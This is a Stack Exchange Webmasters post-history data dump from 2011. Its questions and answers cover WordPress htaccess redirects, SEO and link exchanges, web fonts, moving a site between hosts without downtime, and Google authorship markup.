  <row Id="41910" PostHistoryTypeId="2" PostId="17429" RevisionGUID="f4ca1de4-80f1-422f-b158-86c448ee96ae" CreationDate="2011-07-26T18:57:43.580" UserId="9208" Text="htaccess redirect (301) all my old content from my wordpress to my new url-design. I want to redirect all the last trailingslashs to .html  ... the permalinks are allready working, but i dont want to loose all my hardly collected backlinks.&#xD;&#xA;Thats how my Urls look like:&#xD;&#xA;&#xD;&#xA;Pages (old): xxxx.xx/pages/xxx/   should redirect to xxxx.xx/pages/xxx.html&#xD;&#xA;Posts (old): xxxx.xx/xxxx/    shuold redirect to xxxx.xx/news/xxx.html&#xD;&#xA;Custom Posts xxxx.xx/xxxx/    should redirect to xxxx.xx/projects/xxx.html&#xD;&#xA;&#xD;&#xA;Any help would be grateful :)&#xD;&#xA;&#xD;&#xA;thx" />
  <row Id="41911" PostHistoryTypeId="1" PostId="17429" RevisionGUID="f4ca1de4-80f1-422f-b158-86c448ee96ae" CreationDate="2011-07-26T18:57:43.580" UserId="9208" Text="Redirect /x/xx/ to /x/xx.html" />
  <row Id="41912" PostHistoryTypeId="3" PostId="17429" RevisionGUID="f4ca1de4-80f1-422f-b158-86c448ee96ae" CreationDate="2011-07-26T18:57:43.580" UserId="9208" Text="&lt;wordpress&gt;&lt;htaccess&gt;&lt;redirects&gt;&lt;301-redirect&gt;" />
  <row Id="41913" PostHistoryTypeId="2" PostId="17430" RevisionGUID="06568689-2fde-4148-b124-4a56a8f9475d" CreationDate="2011-07-26T19:02:48.147" UserId="5806" Text="    RewriteRule ^pages/([^/]*)/?$ pages/$1.html&#xD;&#xA;&#xD;&#xA;Should do the trick." />
  <row Id="41914" PostHistoryTypeId="2" PostId="17431" RevisionGUID="02e41c5e-c6d6-46ea-8c00-880c65b979a1" CreationDate="2011-07-26T19:36:30.580" UserId="9116" Text="Sam,&#xD;&#xA;&#xD;&#xA;One common SEO myth is that Google has some type of &quot;duplicate content penalty&quot;.  That's simply not true.  After you write a good original article and publish it to your site, its hard to stop people from copying it and re-publishing it.  If there really was a penalty for duplicate content, it would open the door for black hat SEOs to simply copy an article from their competitor and blast it out on different article syndication networks to get their competition penalized.  That's just one of the problems with search engines creating that type of penalty, and Google knows this.&#xD;&#xA;&#xD;&#xA;However, one thing that Google DOES have is a ***duplicate content filter***.  What this means is if they find 100 versions of the same article on different sites they don't want results 1 to 100 the return the same article. This would be a bad experience for Google visitors, who are the people they want to keep happy.  Instead, they only display one version of the article, and they pick it from the site with the highest trust and authority (pagerank, backlinks, etc.).&#xD;&#xA;&#xD;&#xA;From what you said in your example, my guess is your competitor probably has a site with lots of backlinks and authority.  That would allow them to rank for articles even if they're duplicates.  My advice to you is to **keep writing good quality original content**.  Over the long term that is the best SEO strategy.  In addition, you will want to **increase your backlinking efforts** to generate more links to your site and increase your site authority.  This is where most SEO efforts fizzle out because it really is a lot of work building quality backlinks.  The results are definitely worth it though!" />
  <row Id="41915" PostHistoryTypeId="2" PostId="17432" RevisionGUID="cea15fe6-2360-4100-8986-a1155ffe45fe" CreationDate="2011-07-26T20:08:30.820" UserId="1240" Text="What is the current thinking regarding having a links page on your website?&#xD;&#xA;&#xD;&#xA;I understand so many outgoing links on a page with little other content will be hellish for that page's page rank, but what about the site in general?&#xD;&#xA;&#xD;&#xA;I am constantly getting asking to take part in link exchanges and recently adopted a policy of just saying no, should I rethink this?" />
  <row Id="41916" PostHistoryTypeId="1" PostId="17432" RevisionGUID="cea15fe6-2360-4100-8986-a1155ffe45fe" CreationDate="2011-07-26T20:08:30.820" UserId="1240" Text="Links Pages - Useful or Harmful?" />
  <row Id="41917" PostHistoryTypeId="3" PostId="17432" RevisionGUID="cea15fe6-2360-4100-8986-a1155ffe45fe" CreationDate="2011-07-26T20:08:30.820" UserId="1240" Text="&lt;seo&gt;&lt;links&gt;&lt;backlinks&gt;" />
  <row Id="41918" PostHistoryTypeId="2" PostId="17433" RevisionGUID="b03ffc30-be30-4d62-8b03-a9cd593d4a88" CreationDate="2011-07-26T20:11:54.747" UserId="1240" Text="Just found this -&gt; http://www.google.com/support/webmasters/bin/answer.py?answer=66356&#xD;&#xA;&#xD;&#xA;&gt;However, some webmasters engage in link exchange schemes and build partner pages exclusively for the sake of cross-linking, disregarding the quality of the links, the sources, and the long-term impact it will have on their sites. This is in violation of Google's Webmaster Guidelines and can negatively impact your site's ranking in search results. Examples of link schemes can include:&#xD;&#xA;&#xD;&#xA;&gt; - Links intended to manipulate PageRank &#xD;&#xA;&gt; - Links to web spammers or bad neighborhoods on the web &#xD;&#xA;&gt; - Excessive reciprocal links or excessive link exchanging (&quot;Link to me and I'll link to you.&quot;) &#xD;&#xA;&gt; - Buying or selling links that pass PageRank" />
  <row Id="41919" PostHistoryTypeId="2" PostId="17434" RevisionGUID="d3d4563f-d840-4938-935a-26f62158decd" CreationDate="2011-07-26T20:14:45.947" UserId="1253" Text="Link exchanges really don't do a whole lot of good. &#xD;&#xA;&#xD;&#xA;- People rarely follow the links on these pages so they don't deliver any real traffic&#xD;&#xA;&#xD;&#xA;- Yes, they are a PR drain of sorts but it's really not that bad as long as you aren't linking to your links page from many of your own pages or home page. For example, if you have a link to your links page in the footer of your website then the odds are it will have a decent PR. By having a lot of external links on that page you have less to send you your own pages which obviously is less then ideal. Even then, PageRank isn't a big deal anymore so I wouldn't be overly concerned with it.&#xD;&#xA;&#xD;&#xA;- Your biggest risk is trading links with a site that is considered to be in a &quot;bad neighborhood&quot;. Simply by linking to them you may be considered part of that neighborhood and your rankings may suffer because of it.&#xD;&#xA;&#xD;&#xA;I would say don't do it simply because there isn't much to gain and potentially much to lose. Just link t other websites when it is appropriate. If you have quality content on your site then you'll get plenty of links to your pages anyway without having to resort to link exchanges." />
  <row Id="41920" PostHistoryTypeId="2" PostId="17435" RevisionGUID="8d45a96c-c1f8-401b-8942-50ff620fffc6" CreationDate="2011-07-26T20:16:50.233" UserId="1240" Text="I have to disagree with both the answers currently posted here.&#xD;&#xA;&#xD;&#xA;It has become the norm to associate 'like' buttons with the content you are currently reading.  I think registering a 'like' for a Facebook page or even top level domain when you are in content is misleading.&#xD;&#xA;&#xD;&#xA;The act of liking a Facebook page is different to liking content, it appears different in the users timeline and is recorded differently.&#xD;&#xA;&#xD;&#xA;By all means have a 'Like us on Facebook' or something like that with a link to your Facebook page, but don't hide it behind the simple 'Like' button." />
  <row Id="41921" PostHistoryTypeId="2" PostId="17436" RevisionGUID="38b91d3d-ad8d-4b1b-abaa-a29455c29de9" CreationDate="2011-07-26T20:26:09.150" UserId="1240" Text="Is it webmail for your website you are trying to access?  The first step might be to try this test -&gt; http://www.websitepulse.com/help/testtools.china-test.html&#xD;&#xA;&#xD;&#xA;Should tell you if your site is blocked or not.&#xD;&#xA;&#xD;&#xA;If it is googlemail or some other mailing service you might want to contact them directly." />
  <row Id="41922" PostHistoryTypeId="5" PostId="17429" RevisionGUID="d8658605-6f6c-426e-b7e2-7d860da19f1b" CreationDate="2011-07-26T20:32:00.610" UserId="9208" Comment="added 854 characters in body" Text="htaccess redirect (301) all my old content from my wordpress to my new url-design. I want to redirect all the last trailingslashs to .html  ... the permalinks are allready working, but i dont want to loose all my hardly collected backlinks.&#xD;&#xA;Thats how my Urls look like:&#xD;&#xA;&#xD;&#xA;Pages (old): xxxx.xx/pages/xxx/   should redirect to xxxx.xx/pages/xxx.html&#xD;&#xA;Posts (old): xxxx.xx/xxxx/    shuold redirect to xxxx.xx/news/xxx.html&#xD;&#xA;Custom Posts xxxx.xx/xxxx/    should redirect to xxxx.xx/projects/xxx.html&#xD;&#xA;&#xD;&#xA;Any help would be grateful :)&#xD;&#xA;&#xD;&#xA;thx&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;---Comments only allow  few words so i edit my question: &#xD;&#xA;&#xD;&#xA;        &lt;IfModule mod_rewrite.c&gt; &#xD;&#xA;    RewriteEngine On &#xD;&#xA;    Options +FollowSymLinks &#xD;&#xA;    RewriteBase /project/ &#xD;&#xA;    RewriteRule ^index\.php$ - [L] &#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f &#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-d &#xD;&#xA;    RewriteRule . /project/index.php [L] &#xD;&#xA;    RewriteRule /project/([^/]*)/?$ /project/$1.html [L] &#xD;&#xA;    &#xD;&#xA;    AddOutputFilterByType DEFLATE text/html text/plain text/xml application/xml application/xhtml+xml text/javascript text/css application/x-javascript BrowserMatch ^Mozilla/4 gzip-only-text/html BrowserMatch ^Mozilla/4.0[678] no-gzip BrowserMatch bMSIE !no-gzip !gzip-only-text/html &lt;/IfModule&gt; # END WordPress&#xD;&#xA;&#xD;&#xA;Did not work for me.. it ignores my rewritebase, so it redirects xxx.xx/x/xxx/ to xxx.xx/xxx.html not to xxx.xx/x/xxx.html " />
  <row Id="41923" PostHistoryTypeId="5" PostId="17428" RevisionGUID="73c9035b-4665-4ca6-83b5-2d4e94a5becc" CreationDate="2011-07-26T20:50:27.240" UserId="4142" Comment="Added the relevant information about @font-face, and example styles, to make things a bit more explanatory." Text="It's &lt;a href=&quot;http://typekit.com/fonts/restore&quot;&gt;Restore&lt;/a&gt;, served by TypeKit.&#xD;&#xA;&#xD;&#xA;These fonts have been included using CSS3's `@font-face`. The fonts themselves have been included in the styles, using base-64 encoding, and can be referenced like any other font family in CSS once defined.&#xD;&#xA;&#xD;&#xA;Here's a quick example of the CSS that defines one of those fonts:&#xD;&#xA;&#xD;&#xA;    @font-face {&#xD;&#xA;    font-family:&quot;restore-1&quot;;&#xD;&#xA;    src:url(data:font/opentype;base64,d09GRk--snip--gAA);&#xD;&#xA;    font-style:normal;&#xD;&#xA;    font-weight:300;&#xD;&#xA;    }" />
  <row Id="41924" PostHistoryTypeId="24" PostId="17428" RevisionGUID="73c9035b-4665-4ca6-83b5-2d4e94a5becc" CreationDate="2011-07-26T20:50:27.240" Comment="Proposed by 4142 approved by 1253 edit id of 454" />
  <row Id="41925" PostHistoryTypeId="2" PostId="17437" RevisionGUID="310c1e97-742a-4935-8788-00b9577806d8" CreationDate="2011-07-26T20:56:37.330" UserId="5464" Text="the tools i use for site url mapping are: [Xenu][1] and or [IISSEO][2] the i export the data to Excel and work out the mapping from there. i work on the basis i am going to need a rewrite rule for each URL found on the existing site and therefore don't need to worry about how its linked.  &#xD;&#xA;&#xD;&#xA;After the site goes live i keep a close eye on web master tools as its never 100% accurate when doing this type of work.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://home.snafu.de/tilman/xenulink.html&#xD;&#xA;  [2]: http://www.iis.net/download/SEOToolkit" />
  <row Id="41926" PostHistoryTypeId="2" PostId="17438" RevisionGUID="357269af-cba8-482e-be8d-3177bed2d266" CreationDate="2011-07-26T21:30:45.037" UserId="9210" Text="What's the best platform out there that is flexible enough to easily integrate this:&#xD;&#xA;&#xD;&#xA;Custom Flash App&#xD;&#xA;&#xD;&#xA;i would like customers to :&#xD;&#xA;&#xD;&#xA;1 - Select a t-shirt from a gallery of artists. &lt;br&gt;&#xD;&#xA;2 - Customize it ( using a Flash tool i created ) &lt;br&gt;&#xD;&#xA;3 - Select a T-shirt size &lt;br&gt;&#xD;&#xA;4 - Order it.&#xD;&#xA;&#xD;&#xA;All this flash widget does is generate a JPG on the server. the ecommerce app should assign it to that Order/Customer, and add it to their shopping cart.&#xD;&#xA;&#xD;&#xA;Social Features Customers should also be able to comment on the t-shirts and artist bios.&#xD;&#xA;&#xD;&#xA;I was thinking of trying Wordpress plugins like Shopp or Getshopped or Cart66. ----- then BuddyPRess for social features. Or is Magento a better choice? thanks!" />
  <row Id="41927" PostHistoryTypeId="1" PostId="17438" RevisionGUID="357269af-cba8-482e-be8d-3177bed2d266" CreationDate="2011-07-26T21:30:45.037" UserId="9210" Text="Which E-commerce Platform works well with Flash Product Customization+Social ?" />
  <row Id="41928" PostHistoryTypeId="3" PostId="17438" RevisionGUID="357269af-cba8-482e-be8d-3177bed2d266" CreationDate="2011-07-26T21:30:45.037" UserId="9210" Text="&lt;wordpress&gt;&lt;ecommerce&gt;" />
  <row Id="41929" PostHistoryTypeId="25" PostId="17432" RevisionGUID="419ed5df-71ce-4ed1-b87f-8c29e05c947e" CreationDate="2011-07-26T21:32:02.417" Comment="http://twitter.com/#!/StackWebmasters/status/95969648192921600" />
  <row Id="41930" PostHistoryTypeId="5" PostId="17429" RevisionGUID="ade876c5-9343-4895-8b37-17d5cc410b47" CreationDate="2011-07-26T21:41:10.800" UserId="9208" Comment="added 108 characters in body; edited title" Text="htaccess redirect (301) all my old content from my wordpress to my new url-design. I want to redirect all the last trailingslashs to .html  ... the permalinks are allready working, but i dont want to loose all my hardly collected backlinks.&#xD;&#xA;Thats how my Urls look like:&#xD;&#xA;&#xD;&#xA;Pages (old): domain.com/pages/redirection/   should redirect to domain.com/pages/redirection.html&#xD;&#xA;Posts (old): domain.com/new-permalink/    shuold redirect to domain.com/news/new-permalink.html&#xD;&#xA;Custom Posts domain.com/permalink/    should redirect to domain.com/projects/permalink.html&#xD;&#xA;&#xD;&#xA;Any help would be grateful :)&#xD;&#xA;&#xD;&#xA;thx&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;---Comments only allow  few words so i edit my question: &#xD;&#xA;&#xD;&#xA;        &lt;IfModule mod_rewrite.c&gt; &#xD;&#xA;    RewriteEngine On &#xD;&#xA;    Options +FollowSymLinks &#xD;&#xA;    RewriteBase /project/ &#xD;&#xA;    RewriteRule ^index\.php$ - [L] &#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f &#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-d &#xD;&#xA;    RewriteRule . /project/index.php [L] &#xD;&#xA;    RewriteRule /project/([^/]*)/?$ /project/$1.html [L] &#xD;&#xA;    &#xD;&#xA;    AddOutputFilterByType DEFLATE text/html text/plain text/xml application/xml application/xhtml+xml text/javascript text/css application/x-javascript BrowserMatch ^Mozilla/4 gzip-only-text/html BrowserMatch ^Mozilla/4.0[678] no-gzip BrowserMatch bMSIE !no-gzip !gzip-only-text/html &lt;/IfModule&gt; # END WordPress&#xD;&#xA;&#xD;&#xA;Did not work for me.. it ignores my rewritebase, so it redirects domain.com/projects/permalink/ to domain.com/permalink.html not to domain.com/projects/permalink.html " />
  <row Id="41931" PostHistoryTypeId="4" PostId="17429" RevisionGUID="ade876c5-9343-4895-8b37-17d5cc410b47" CreationDate="2011-07-26T21:41:10.800" UserId="9208" Comment="added 108 characters in body; edited title" Text="Redirect /project/permalink/ to /project/permalink.html" />
  <row Id="41932" PostHistoryTypeId="5" PostId="17438" RevisionGUID="3fd85933-bfae-4eea-aa46-cbf7b85109d1" CreationDate="2011-07-26T21:59:28.877" UserId="1253" Comment="modified tags" Text="What's the best platform out there that is flexible enough to easily integrate this:&#xD;&#xA;&#xD;&#xA;Custom Flash App&#xD;&#xA;&#xD;&#xA;I would like customers to :&#xD;&#xA;&#xD;&#xA;1 - Select a t-shirt from a gallery of artists. &lt;br&gt;&#xD;&#xA;2 - Customize it ( using a Flash tool i created ) &lt;br&gt;&#xD;&#xA;3 - Select a T-shirt size &lt;br&gt;&#xD;&#xA;4 - Order it.&#xD;&#xA;&#xD;&#xA;All this flash widget does is generate a JPG on the server. the ecommerce app should assign it to that Order/Customer, and add it to their shopping cart.&#xD;&#xA;&#xD;&#xA;Social Features Customers should also be able to comment on the t-shirts and artist bios.&#xD;&#xA;&#xD;&#xA;I was thinking of trying Wordpress plugins like Shopp or Getshopped or Cart66. ----- then BuddyPRess for social features. Or is Magento a better choice? thanks!" />
  <row Id="41933" PostHistoryTypeId="6" PostId="17438" RevisionGUID="3fd85933-bfae-4eea-aa46-cbf7b85109d1" CreationDate="2011-07-26T21:59:28.877" UserId="1253" Comment="modified tags" Text="&lt;wordpress&gt;&lt;looking-for-a-script&gt;&lt;ecommerce&gt;" />
  <row Id="41934" PostHistoryTypeId="2" PostId="17439" RevisionGUID="bf0b190c-bc73-4c85-8b4e-fb6e4c22be3c" CreationDate="2011-07-26T23:17:48.763" UserId="6634" Text="&gt; Why?&#xD;&#xA;&#xD;&#xA;Because PageRank isn't very important." />
  <row Id="41935" PostHistoryTypeId="25" PostId="17426" RevisionGUID="587227e8-870b-430b-980b-cded9f8c5be9" CreationDate="2011-07-27T00:32:03.103" Comment="http://twitter.com/#!/StackWebmasters/status/96014951788978176" />
  <row Id="41936" PostHistoryTypeId="2" PostId="17440" RevisionGUID="11900369-f3fc-4722-acd4-55de99b4d641" CreationDate="2011-07-27T01:03:25.743" UserId="9212" Text="I also was finding these references in my logs.&#xD;&#xA;&#xD;&#xA;This seems to be related to a service called &quot;Drop Down Deals&quot;, that involves a browser add-on that seems, well, broken.&#xD;&#xA;&#xD;&#xA;http://www.dropdowndeals.com/&#xD;&#xA;&#xD;&#xA;https://nodpi.org/forum/index.php?topic=3462.0;wap2" />
  <row Id="41937" PostHistoryTypeId="5" PostId="17212" RevisionGUID="adaae35b-b7b5-4f16-8a92-a5708cfbed0f" CreationDate="2011-07-27T01:11:49.513" UserId="9214" Comment="added 1025 characters in body" Text="You could try [Balsamiq][1] for quick mockups of a site rather than something like Visio. However, as Paulmorris mentions, this isn't for fluid mockups. &#xD;&#xA;&#xD;&#xA;Also, as Paulmorris mentions, it is probably best to go with HTML/CSS, though this may be a bit more work. It could be worthwhile defining a set of &quot;common&quot; layouts in HTML/CSS and then keeping these in source control as your base starting points for mockups based on your common layouts. Designers can then access these, and use them as a base for creating new designs. &#xD;&#xA;&#xD;&#xA;These source controlled common layouts could be used as both a base for mockups and production websites, and minor improvements or amendments to these layouts will benefit both designers and developers in future.&#xD;&#xA;&#xD;&#xA;As an example of some great work on common formats for liquid layouts, check out;&#xD;&#xA;http://matthewjamestaylor.com/blog/perfect-multi-column-liquid-layouts&#xD;&#xA;&#xD;&#xA;There are demo pages below which may give you some ideas on how you could go about constructing some bare bones CSS/HTML for your common layouts.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://balsamiq.com/" />
  <row Id="41938" PostHistoryTypeId="25" PostId="17422" RevisionGUID="e3af3bde-a426-4fd2-8aad-5644846a2604" CreationDate="2011-07-27T03:32:03.370" Comment="http://twitter.com/#!/StackWebmasters/status/96060250611912705" />
  <row Id="41939" PostHistoryTypeId="2" PostId="17441" RevisionGUID="165c69c5-58a3-43ee-bcfe-2c6aee8ea4f6" CreationDate="2011-07-27T04:30:26.397" UserId="5437" Text="You can try [Whois API][1] from www.whoisxmlapi.com.  &lt;br/&gt;&#xD;&#xA;It provides a uniform format of whois record in XML and JSON. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.whoisxmlapi.com" />
  <row Id="41940" PostHistoryTypeId="2" PostId="17442" RevisionGUID="83f635e1-c56b-49e6-b4c3-359b33b167ce" CreationDate="2011-07-27T04:32:57.050" UserId="9218" Text="is there a Reverse Whois (aka. registrant search) service that I can use to find domains registered by owner name?" />
  <row Id="41941" PostHistoryTypeId="1" PostId="17442" RevisionGUID="83f635e1-c56b-49e6-b4c3-359b33b167ce" CreationDate="2011-07-27T04:32:57.050" UserId="9218" Text="Reverse Whois or Registrant Search" />
  <row Id="41942" PostHistoryTypeId="3" PostId="17442" RevisionGUID="83f635e1-c56b-49e6-b4c3-359b33b167ce" CreationDate="2011-07-27T04:32:57.050" UserId="9218" Text="&lt;whois&gt;" />
  <row Id="41943" PostHistoryTypeId="2" PostId="17443" RevisionGUID="afceb935-ac14-43d1-91e0-c833256ceb1b" CreationDate="2011-07-27T04:34:57.160" UserId="5437" Text="Yes you can try [Reverse Whois][1] from Whois API&#xD;&#xA;&#xD;&#xA;&lt;BR/&gt;&#xD;&#xA;Reverse Whois allows searching by registrant name, email, address, phone number, or any piece of text in a whois record &#xD;&#xA;&#xD;&#xA;  [1]: http://www.whoisxmlapi.com/reverse-whois.php" />
  <row Id="41944" PostHistoryTypeId="25" PostId="17429" RevisionGUID="3904cfce-4e32-4904-bdf0-ad3bed059781" CreationDate="2011-07-27T06:32:04.230" Comment="http://twitter.com/#!/StackWebmasters/status/96105552983244800" />
  <row Id="41945" PostHistoryTypeId="2" PostId="17444" RevisionGUID="ccf03465-47b8-4533-aa42-272cacfc41b1" CreationDate="2011-07-27T06:58:35.720" UserId="9220" Text="I have tried Dust Me and CSS Usage in the past with some success to get an initial list of unused css selectors. Then what I do is focus on searching for those potentially unused selectors manually. At least that reduces the scope of the problem from hundreds of selectors to a few dozens." />
  <row Id="41946" PostHistoryTypeId="2" PostId="17445" RevisionGUID="ca659868-4ca9-4668-b54b-5d3dbb6fd1c0" CreationDate="2011-07-27T08:03:32.077" UserId="7801" Text="I just performed a Google search for the words &quot;Google Analytics&quot; and noticed half way down the page that there was an image next to one of the results:&#xD;&#xA;&#xD;&#xA;![Google search][1]&#xD;&#xA;&#xD;&#xA;How can I achieve this? Having used Yoast's plugin I know how much of a genius he is!&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/oKPtn.png" />
  <row Id="41947" PostHistoryTypeId="1" PostId="17445" RevisionGUID="ca659868-4ca9-4668-b54b-5d3dbb6fd1c0" CreationDate="2011-07-27T08:03:32.077" UserId="7801" Text="How can I show an image next to search engine result?" />
  <row Id="41948" PostHistoryTypeId="3" PostId="17445" RevisionGUID="ca659868-4ca9-4668-b54b-5d3dbb6fd1c0" CreationDate="2011-07-27T08:03:32.077" UserId="7801" Text="&lt;seo&gt;&lt;google-search&gt;" />
  <row Id="41949" PostHistoryTypeId="2" PostId="17446" RevisionGUID="6219cbcd-399e-438a-9630-895338ea4e3c" CreationDate="2011-07-27T08:11:11.913" UserId="9221" Text="I have read many articles, however, I am not able to understand CSS positioning, floats, fixed and liquid layout. Please explain me in simple easy to understand way or from your point of view.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Also, I want to know, **what relations do positioning, float, fixed layout and liquid layout have?**&#xD;&#xA;&#xD;&#xA;Thanks :)&#xD;&#xA;" />
  <row Id="41950" PostHistoryTypeId="1" PostId="17446" RevisionGUID="6219cbcd-399e-438a-9630-895338ea4e3c" CreationDate="2011-07-27T08:11:11.913" UserId="9221" Text="Css positioning, floats, fixed layout and liquid layout for web pages layout. Please explain in simple!!" />
  <row Id="41951" PostHistoryTypeId="3" PostId="17446" RevisionGUID="6219cbcd-399e-438a-9630-895338ea4e3c" CreationDate="2011-07-27T08:11:11.913" UserId="9221" Text="&lt;html&gt;&lt;css&gt;&lt;website-design&gt;&lt;web-design&gt;&lt;css3&gt;" />
  <row Id="41952" PostHistoryTypeId="2" PostId="17447" RevisionGUID="a8c3f46d-c393-4bde-ad73-670b37ce1e6c" CreationDate="2011-07-27T08:12:48.183" UserId="1643" Text="Here's how he did it: http://yoast.com/highlighting-wordpress-authors-search/&#xD;&#xA;&#xD;&#xA;&gt; To do this, you need to apply the authorship markup Google announced a&#xD;&#xA;&gt; couple weeks back. This basically means adding rel=&quot;author&quot; to a link&#xD;&#xA;&gt; to the authors page on the same domain. My author link for this post,&#xD;&#xA;&gt; for instance, looks like this: &#xD;&#xA;&#xD;&#xA;    &lt;a rel=&quot;author&quot; href=&quot;http://yoast.com/author/admin/&quot;&#xD;&#xA;      title=&quot;Posts by Joost de Valk&quot;&gt;Joost de Valk&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;According to [this discussion][1] on Google+ they only like real photos though, not cartoons.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://plus.google.com/115369062315673853712/posts/ExGtKqT3GRx" />
  <row Id="41953" PostHistoryTypeId="2" PostId="17448" RevisionGUID="b27221b2-2b9c-4bea-b7d1-059a9314712e" CreationDate="2011-07-27T08:32:45.293" UserId="7198" Text="Ask them to supply multiple mockups of the same design, each using different page widths. This has several advantages:&#xD;&#xA;&#xD;&#xA; - It forces them to consider the effect of resizing the browser window on the design.&#xD;&#xA; - It provides you with more reference points, so that you don't have to interpret the design.&#xD;&#xA; - It ensures that the finished site looks the way they intended.&#xD;&#xA; - It requires no additional skills on their part (only a bit more time and consideration to produce the additional mockups).&#xD;&#xA;&#xD;&#xA;You'll still be getting static 'pictures' as mockups, but at least you'll get two or three instead of one. You'll start to find that your designers solve the sorts of problems inherent in fluid layouts themselves, instead of assuming that you'll do that part of their job for them." />
  <row Id="41954" PostHistoryTypeId="17" PostId="17449" RevisionGUID="70b09424-4457-40c4-8239-12ec1548c235" CreationDate="2011-07-27T08:39:43.143" UserId="-1" Comment="from http://programmers.stackexchange.com/questions/96231/is-there-any-way-to-change-host-for-a-website-without-suffering-from-downtime" Text="" />
  <row Id="41955" PostHistoryTypeId="17" PostId="17450" RevisionGUID="afcbc8df-7d50-4ffd-861d-46e71d1158f4" CreationDate="2011-07-27T08:39:43.143" UserId="-1" Comment="from http://programmers.stackexchange.com/questions/96231/is-there-any-way-to-change-host-for-a-website-without-suffering-from-downtime" Text="" />
  <row Id="41956" PostHistoryTypeId="17" PostId="17451" RevisionGUID="3c4347f7-4113-492f-90d1-80eb5f88d7b9" CreationDate="2011-07-27T08:39:43.143" UserId="-1" Comment="from http://programmers.stackexchange.com/questions/96231/is-there-any-way-to-change-host-for-a-website-without-suffering-from-downtime" Text="" />
  <row Id="41957" PostHistoryTypeId="17" PostId="17452" RevisionGUID="e79889fa-2f93-410d-a4b9-a4433db379c8" CreationDate="2011-07-27T08:39:43.143" UserId="-1" Comment="from http://programmers.stackexchange.com/questions/96231/is-there-any-way-to-change-host-for-a-website-without-suffering-from-downtime" Text="" />
  <row Id="41958" PostHistoryTypeId="2" PostId="17450" RevisionGUID="17f5df6a-fb5c-4e18-a1e8-8155a60f7f47" CreationDate="2011-07-27T00:26:12.473" UserId="9226" UserDisplayName="JohnFx" Text="I think you may be mistaken. &#xD;&#xA;&#xD;&#xA;The site won't be inaccessible while the change is propagated to the other DNS servers. You will just likely have some people directed to the old site and some people directed to the new during the transition, or more accurately some will be directed to the old IP address and others to the new IP address. If you don't have concerns about this, you should be fine. &#xD;&#xA;&#xD;&#xA;Just make sure to leave the site active at the old location until the transfer is complete, unless you have explicit reasons not to do this." />
  <row Id="41959" PostHistoryTypeId="2" PostId="17452" RevisionGUID="0814a447-3fc9-4dd0-9009-6050161e34dd" CreationDate="2011-07-27T00:38:14.780" UserId="8147" Text="If you keep your files on old server, there will be no downtime.&#xD;&#xA;&#xD;&#xA;DNS is cached heavily, and is only refreshed every hour (in most cases) &#xD;&#xA;&#xD;&#xA;It does not matter what happens during that hour, because it's still on old server and your DNS record is still the same (only refreshed once a hour, and switched to new server with files ready), so you will have no downtime" />
  <row Id="41960" PostHistoryTypeId="2" PostId="17451" RevisionGUID="4f9af603-154c-436c-ba1e-b0deb9136ad6" CreationDate="2011-07-27T00:29:19.650" UserId="1859" Text="I do this all of the time for customers.&#xD;&#xA;&#xD;&#xA; 1. Duplicate the site from host A onto host B.&#xD;&#xA; 1. Cut over the DNS to point to host B.&#xD;&#xA; 1. Cancel the  host A account.&#xD;&#xA;&#xD;&#xA;The only gotcha in all of this is if the site is very dynamic. If it's only you (or a small group) that are making changes, then just schedule accordingly. Larger groups may need to be locked out from making changes to the old site. Even more dynamic sites (heavily trafficked blogs w/comments) are trickier." />
  <row Id="41961" PostHistoryTypeId="2" PostId="17449" RevisionGUID="655cd3ba-7771-4ef6-bb1c-f575e475bf74" CreationDate="2011-07-27T00:18:56.920" UserId="7654" Text="I have a website with DNS pointing to my hosting account at ns1.a.com and ns2.a.com&#xD;&#xA;&#xD;&#xA;I want to switch a hosting account (to ns1.b.com and ns2.b.com). &#xD;&#xA;&#xD;&#xA;However if I simply change the DNS the site will be inaccessible until the change is complete, is there anyway to change host for a website without suffering from downtime?" />
  <row Id="41962" PostHistoryTypeId="1" PostId="17449" RevisionGUID="655cd3ba-7771-4ef6-bb1c-f575e475bf74" CreationDate="2011-07-27T00:18:56.920" UserId="7654" Text="is there any way to change host for a website without suffering from downtime?" />
  <row Id="41963" PostHistoryTypeId="3" PostId="17449" RevisionGUID="655cd3ba-7771-4ef6-bb1c-f575e475bf74" CreationDate="2011-07-27T00:18:56.920" UserId="7654" Text="&lt;web&gt;&lt;websites&gt;&lt;web-hosting&gt;" />
  <row Id="41964" PostHistoryTypeId="2" PostId="17453" RevisionGUID="afcfe21a-fc9f-4592-a286-905b50495948" CreationDate="2011-07-27T08:44:13.723" UserId="-1" Text="" />
  <row Id="41965" PostHistoryTypeId="2" PostId="17454" RevisionGUID="6cab31a1-8d6d-41cd-99fc-5a9000a18cae" CreationDate="2011-07-27T08:44:13.723" UserId="-1" Text="" />
  <row Id="41966" PostHistoryTypeId="4" PostId="17445" RevisionGUID="7cfed519-f5ec-4372-98f0-af9da0e4a471" CreationDate="2011-07-27T09:24:24.500" UserId="7801" Comment="Adjusted title" Text="How can I show a Google profile image next to my search engine results?" />
  <row Id="41967" PostHistoryTypeId="25" PostId="17445" RevisionGUID="bba9c3bf-1921-455f-9bc8-06900d5f561a" CreationDate="2011-07-27T09:32:03.857" Comment="http://twitter.com/#!/StackWebmasters/status/96150847611871232" />
